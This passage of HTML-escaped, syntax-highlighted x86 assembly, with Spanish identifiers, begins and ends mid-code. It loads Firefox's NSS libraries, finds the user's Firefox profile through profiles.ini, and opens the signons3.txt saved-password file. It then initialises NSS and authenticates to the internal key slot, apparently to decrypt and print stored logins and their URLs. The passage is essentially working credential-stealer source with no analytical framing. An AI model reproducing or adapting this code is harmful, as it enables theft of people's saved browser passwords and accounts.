bold;"&gt;[&lt;/span&gt;ebx&lt;span style="color: rgb(0, 0, 255);"&gt;+4&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"nspr4.dll"&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; Cargar&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dword&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;ebx&lt;span style="color: rgb(0, 0, 255);"&gt;+4&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"plc4.dll"&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; Cargar&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dword&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;ebx&lt;span style="color: rgb(0, 0, 255);"&gt;+4&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"plds4.dll"&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; Cargar&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dword&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;ebx&lt;span style="color: rgb(0, 0, 255);"&gt;+4&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"nssutil3.dll"&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; Cargar&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dword&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;ebx&lt;span style="color: rgb(0, 0, 255);"&gt;+4&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"softokn3.dll"&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; Cargar&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dword&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;ebx&lt;span style="color: rgb(0, 0, 255);"&gt;+4&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"softokn3.dll"&lt;/span&gt;&lt;br&gt;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;"nss3.dll"&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; LocalAlloc&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;40h&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;MAX_PATH&lt;span style="color: rgb(0, 0, 255);"&gt;+1&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;P&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; Concat&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;sPath&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;"nss3.dll"&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; LoadLibrary&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;P&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;lvLibs7&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; LocalFree&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;P&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;1A&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; SHGetSpecialFolderLocation&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;1ah&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; SHGetPathFromIDList&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dword&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;sFFPath&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; lstrcat&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;sFFPath&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"\Mozilla\Firefox\profiles.ini"&lt;/span&gt;&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; GetPrivateProfileString&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"Profile0"&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;"Path"&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; sRet&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;260&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; sFFPath&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; Zerar&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;sFFPath&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;MAX_PATH&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; SHGetSpecialFolderLocation&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;1ah&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; SHGetPathFromIDList&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dword&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;sFFPath&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; lstrcat&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;sFFPath&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"\Mozilla\Firefox\"&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; lstrcat&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;sFFPath&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;sRet&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; lstrcat&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;sFFPath&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"\signons3.txt"&lt;/span&gt;&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; &amp;nbsp;CreateFile&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; sFFPath&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; GENERIC_READ&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; OPEN_EXISTING&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;hFile&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; &amp;nbsp;GetFileSize&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;tamAr&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; &amp;nbsp;GlobalAlloc&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; GPTR&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;IB&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; &amp;nbsp;ReadFile&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;hFile&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;IB&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;tamAr&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; bUsados&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; SHGetSpecialFolderLocation&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;1ah&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; SHGetPathFromIDList&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dword&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;sRet2&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; lstrcat&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;sRet2 &amp;nbsp;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"\Mozilla\Firefox\"&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; lstrcat&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;sRet2 &amp;nbsp;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;sRet&lt;br&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;lKeySlot&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; GetProcAddress&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;lvLibs7&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;"NSS_Init"&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;sRet2&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt; = &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; GetProcAddress&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;lvLibs7&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;"PK11_GetInternalKeySlot"&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt; &amp;nbsp; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;lKeySlot&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt; &amp;lt;&amp;gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; GetProcAddress&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;lvLibs7&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;"PK11_Authenticate"&lt;/span&gt;&lt;br&gt;&amp;nbsp;&lt;br&gt; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;lKeySlot&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;TRUE&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt; = &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;xor&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;IB&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;Espacio&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;Espacio&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;inc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;tamAr&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;je&lt;/span&gt; salir&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;inc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"."&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jne&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;ebx&lt;span style="color: rgb(0, 0, 255);"&gt;+1&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;13&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jne&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;ebx&lt;span style="color: rgb(0, 0, 255);"&gt;+2&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;10&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jne&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;3&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; &amp;lt;&amp;gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;URL&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle2&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;inc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;tamAr&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;je&lt;/span&gt; 